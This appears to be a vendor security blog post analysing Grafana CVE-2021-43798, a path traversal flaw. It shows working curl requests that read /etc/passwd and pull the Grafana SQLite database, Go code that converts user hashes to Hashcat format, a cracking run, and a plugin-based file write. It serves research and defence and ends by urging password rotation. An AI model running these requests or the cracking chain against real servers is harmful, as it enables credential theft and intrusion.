Overview

Grafana is a data visualization web application used by thousands of companies, including SalesForce, JPMorgan Chase, Cisco, and more. That’s likely why there was a lot of interest when CVE-2021-43798 was posted to Twitter as a zero-day on December 3, 2021.

Details

CVE-2021-43798 allowed a remote and unauthenticated attacker to read arbitrary files on a Grafana server using a simple HTTP request:

albinolobster@mournland:~$ curl --path-as-is http://10.9.49.222:3000/public/plugins/welcome/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

The example above shows an attacker reading /etc/passwd from the victim Grafana. Reading /etc/passwd is essentially useless for an attacker, but VulnCheck has archived a large number of public CVE-2021-43798 exploits that do exactly that. Those exploits are useless, for anything other than vulnerability scanners and bug bounty hunters, because they don’t demonstrate a real security impact.

Some public CVE-2021-43798 exploits have tried to demonstrate real impact. Metasploit, for example, uses CVE-2021-43798 to download the server’s grafana.ini configuration file. grafana.ini can potentially leak interesting secrets (e.g. Okta OAuth2 configuration), but a standard install using a default configuration is almost entirely devoid of anything useful to an attacker.

CVE-2021-43798 was a zero-day for only a short time. Grafana released an official patch on December 7, 2021. A couple of days later, the security industry became lost to the hysteria of Log4Shell, and CVE-2021-43798 was pushed to the backburner before fading into obscurity.

But, a bit over a year later, thousands of servers remain vulnerable to CVE-2021-43798. A review of the approximately 95,000 Grafana instances indexed by Shodan found that 7,500 (about 8%) are still vulnerable.

Vulnerable Internet-Facing Grafana Instances

CVE-2021-43798 has never been publicly linked to a named adversary. You won’t find it in any threat group reports, botnet rundowns, or the CISA KEV Catalog. But it does appear to be actively exploited. FortiGuard Labs IP Threat Encyclopedia shows hundreds of CVE-2021-43798 exploitation attempts pers day. Greynoise also shows a number of malicious IP addresses probing for vulnerable hosts:

With thousands of vulnerable servers and, what appears to be, active probing for the vulnerability, it left us wondering if there was more to this vulnerability. At VulnCheck, our Initial Access program has had decent success chaining information leak vulnerabilities with authenticated attacks to achieve initial access. Could CVE-2021-43798 be one of those useful information leaks?

Finding a More Useful Information Leak

As mentioned, early exploits leaked /etc/passwd and /etc/grafana/grafana.ini (or a variant of that path), but they weren’t likely to be useful for establishing initial access to the Grafana system. Another early suggestion was to leak SSH keys, but that isn’t a realistic target either. A secure Grafana install will be executed as a low-privileged grafana user. Access to SSH keys shouldn’t be possible, and, even if it was, there is little reason for a Grafana server to contain any useful SSH private keys.

There is one early writeup that discuss exfiltrating the SQLite database that backs Grafana. An SQLite database is just a file, so an attacker using CVE-2021-43798 can grab a copy of the database. As you can see below, the database contains a bunch of interesting looking tables.

albinolobster@mournland:~$ curl -o grafana.db --path-as-is http://10.9.49.222:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db
  % Total   % Received % Xferd  Average Speed   Time    Time    Time  Current
                                Dload  Upload   Total   Spent   Left  Speed
100 3544k  100 3544k    0   0   627k    0  0:00:05  0:00:05 --:--:--  662k
albinolobster@mournland:~$ sqlite3 grafana.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt            
alert_configuration         migration_log            
alert_instance              ngalert_configuration    
alert_notification          org                      
alert_notification_state    org_user                 
alert_rule                  playlist                 
alert_rule_tag              playlist_item            
alert_rule_version          plugin_setting           
annotation                  preferences              
annotation_tag              quota                    
api_key                     server_lock              
cache_data                  session                  
dashboard                   short_url                
dashboard_acl               star                     
dashboard_provisioning      tag                      
dashboard_snapshot          team                     
dashboard_tag               team_member              
dashboard_version           temp_user                
data_source                 test_data                
kv_store                    user                     
library_element             user_auth                
library_element_connection  user_auth_token          
sqlite>

The aforementioned write-up focuses on the data_source table. That seems like an odd choice when there are other juicy looking table names like user_auth_token, api_key, and session. But, it turns out that Grafana does an excellent job of hashing sensitive data with large random values to make it “impossible” for attackers to quickly recover credentials. The sole exception appears to be the data stored in the data_source table.

Grafana, being a data visualization tool, needs external sources of data, such as databases. Grafana needs to know how to authenticate with those databases. Those credentials are stored encrypted (but easily unencrypted) in the data_source table.

Without going into specifics (I’d suggest reading the linked, A (not so deep) Dive into Grafana CVE-2021-43798, if you are interested), attackers that can access the grafana.ini file and data_source table, can trivially decrypt the passwords to Grafana’s external data sources. That’s quite interesting, but likely has three significant drawbacks from an initial access perspective:

1. The data sources are less likely to be directly reachable over the internet. Exposing Grafana to the internet is unwise, but likely done intentionally. To expose a production database to the internet is a grave error. The expectation is that many data sources won’t be remotely accessible by an attacker from the internet.
2. Even if the attacker can reach the data source, only certain types of data sources are going to be useful for initial access purposes. For example, the attacker would welcome access to a PostgreSQL database because it contains features that might allow an attacker to execute arbitrary OS commands. But a Grafana whose only data source is CloudWatch won’t offer that same type of functionality.
3. Finally, let’s say an attacker can access a PostgreSQL data source. Grafana tells administrators to provide low-privileged/read-only access to Grafana for security reasons. A properly configured account will block Grafana from abusing the command execution feature.

So while data_source is interesting (and even featured on a HackTheBox target). The drawbacks are too significant.

Guessing Credentials

Instead, we thought another table offered more realistic chances for obtaining additional access. Unsurprisingly, it’s the user table. The user table contains usernames, hashed passwords, and salts:

sqlite> select * from user;
id|version|login|email|name|password|salt|rands|company|org_id|is_admin|email_verified|theme|created|updated|help_flags1|last_seen_at|is_disabled
1|0|admin|admin@localhost||e21680070fb3a72d8cac29819eb74ddbee669a9d362dea5c4674d8287e4a1df22424fcdd00ab0cc8230d4249296adc2adca8|NcgfTdzwPc|wXslOqTqT0||1|1|0||2023-02-09 23:12:45|2023-02-13 21:25:51|0|2023-02-13 21:25:26|0
2|0|viewer|viewer|Jake|18e6160a5e7e03a7dea259195b27543c2d1b515e4490867c73ffb6214d08f77163ecc0f58321a40deb300ec563c15a327733|13CdHYK4Xl|z5w6xlWQWI||1|0|0||2023-02-10 18:02:31|2023-02-13 21:27:21|0|2023-02-13 21:26:56|0
3|0|ro|ro|ro|20ae2e2828c004ef4638f6d490a23aa9956cc4bfeb1db60abd18930f97099782037c6861518b466e20addc36dfda5f564d78|bhhVgTns9o|w2lzkKgwWN||1|0|0||2023-02-10 18:17:14|2023-02-13 21:26:39|0|2023-02-13 21:26:24|0

The hashes are created using PBKDF2-HMAC-SHA256. See lines 145-148 of grafana/blob/main/pkg/util/encryption.go:

// Key needs to be 32bytes
func encryptionKeyToBytes(secret, salt string) ([]byte, error) {
    return pbkdf2.Key([]byte(secret), []byte(salt), 10000, 32, sha256.New), nil
}

PBKDF2-HMAC-SHA256 is an algorithm understood by Hashcat, the password cracking tool. The Grafana user table just needs to be transformed into a format that Hashcat can read. This is achieved with a small amount of Go:

// grab the usernames, passwords and salts from the downloaded db
rows, err := db.Query("select email,password,salt,is_admin from user")
if err != nil {
    return
}
defer rows.Close()

for rows.Next() {
    var email string
    var password string
    var salt string
    err = rows.Scan(&email, &password, &salt)
    if err != nil {
     return false
    }

    decoded_hash, _ := hex.DecodeString(password)
    hash64 := b64.StdEncoding.EncodeToString([]byte(decoded_hash))
    salt64 := b64.StdEncoding.EncodeToString([]byte(salt))
    _, _ = hash_file.WriteString("sha256:10000:" + salt64 + ":" + hash64 + "\n")
}

The example code above will transform the previously shown user table into the following Hashcat-ingestable hashes:

sha256:10000:TmNnZlRkendQYw==:4haABw+zpy2MrCmBnrdN2+5mmp02LepcRnTYKH5KHfIkJPzdAKsMyCMNQkkpatwq3Kg=
sha256:10000:MTNDZEhZSzRYbA==:GOYWCl5+A6feolkZWydUPC0bUV5EkIZ8c/+2IU0I93Fj7MD1gyGkDeswDsVjwVoydzM=
sha256:10000:YmhoVmdUbnM5bw==:IK4uKCjABO9GOPbUkKI6qZVsxL/rHbYKvRiTD5cJl4IDfGhhUYtGbiCt3Dbf2l9WTXg=

At this point, it’s useful to know that Grafana doesn’t enforce any type of password complexity requirements. The sole requirement is that a password must be four characters or longer. The likelihood of a bad password is quite high. As a contrived example, we provide the hashes from our test Grafana server to Hashcat along with a standard password dictionary, and recover two passwords:

albinolobster@mournland:~$ hashcat -m 10900 10.9.49.222_3000_hashes.txt rockyou.txt -o cracked.out
albinolobster@mournland:~$ cat cracked.out
sha256:10000:YmhoVmdUbnM5bw==:IK4uKCjABO9GOPbUkKI6qZVsxL/rHbYKvRiTD5cJl4IDfGhhUYtGbiCt3Dbf2l9WTXg=:password
sha256:10000:TmNnZlRkendQYw==:4haABw+zpy2MrCmBnrdN2+5mmp02LepcRnTYKH5KHfIkJPzdAKsMyCMNQkkpatwq3Kg=:iloveyou

Exfiltrating the SQLite database, extracting password hashes, and cracking them seems to be a reasonable approach for gaining access into the Grafana Web UI. To me, this is obviously better than exfiltrating grafana.ini and likely better than focusing on the data_source table.

Expanding Access

The obvious question now is, “What do Web UI credentials get me?” Surprisingly, even with an admin account, not much. We did solve one problem. The Grafana server should have access to all data source servers, so we should be able to proxy attacks (e.g. PostgreSQL command execution) through the Grafana server. But otherwise, a lot of administrative functionality is built into the Grafana CLI tool and excluded from the web interface (as we can see, rightly so). There is one useful feature an administrator has access to in the web UI: installing plugins from the Grafana Catalog.

One plugin that proves useful is the SQLite plugin.

This blog is centered around exfiltrating Grafana’s SQLite database. Exfiltration with CVE-2021-43798 gave us read access to the database. The SQLite plugin gives us full write access to the Grafana database.

Being able to arbitrarily modify the Grafana database doesn’t lead to any obvious code execution opportunities (that we saw). But SQLite has a couple of interesting features that could potentially result in code execution. The first feature we looked at was load_extension. This function could allow us to load and execute a shared object. However, the Grafana plugin has this feature disabled:

The other potentially abusable SQLite feature is an arbitrary file write using attach database. The created file will be an sqlite3 database, but others have achieved code execution with this method by targeting loose file formats (e.g. PHP). Grafana is largely Go-based (and has no association with PHP) but we can at least establish the arbitrary file write works. Below we attempt to make the file /var/lib/grafana/plugins/frser-sqlite-datasource/img/vulncheck.html:

The write is successful. We know this because we can fetch the file over HTTP.

The Grafana SQLite plugin gives us a write primitive on the server itself. However, assuming Grafana is running as the grafana user, there aren't a lot of places an attacker can actually write to. grafana is largely limited to the /var/lib/grafana/plugins/ directory tree where all the Grafana plugins are stored. Plugins are a mix of Go, JavaScript, HTML, and CSS, so there is opportunity to modify plugins to further expand our reach on the system. Although, that’s an exercise we’ll leave for another time.

Of course, the attacker code just drop all tables and destroy the system. 🤷

Conclusion

In this blog, we looked at a file disclosure vulnerability affecting Grafana and examined how this issue might be used to gain additional access to the affected system. Exfiltrating the Grafana SQLite database allows attackers to extract password hashes, brute-force them, and, potentially, establish administrative access on the system. Administrative access gives the attacker write access to the underlying SQLite database via a plugin. In turn, the write access gives the attacker the ability to write files to the underlying filesystem (or destroy the database).

Brute forcing passwords can take a long time. A very long time. But once cracked, the attacker has that password forever. If your Grafana server was ever affected by this vulnerability, and exposed to the internet, it would be wise to rotate all passwords (data source passwords included).

VulnCheck tracks vulnerabilities and their exploits. We pride ourselves in knowing which vulnerabilities matter. For more information, register for a VulnCheck account today.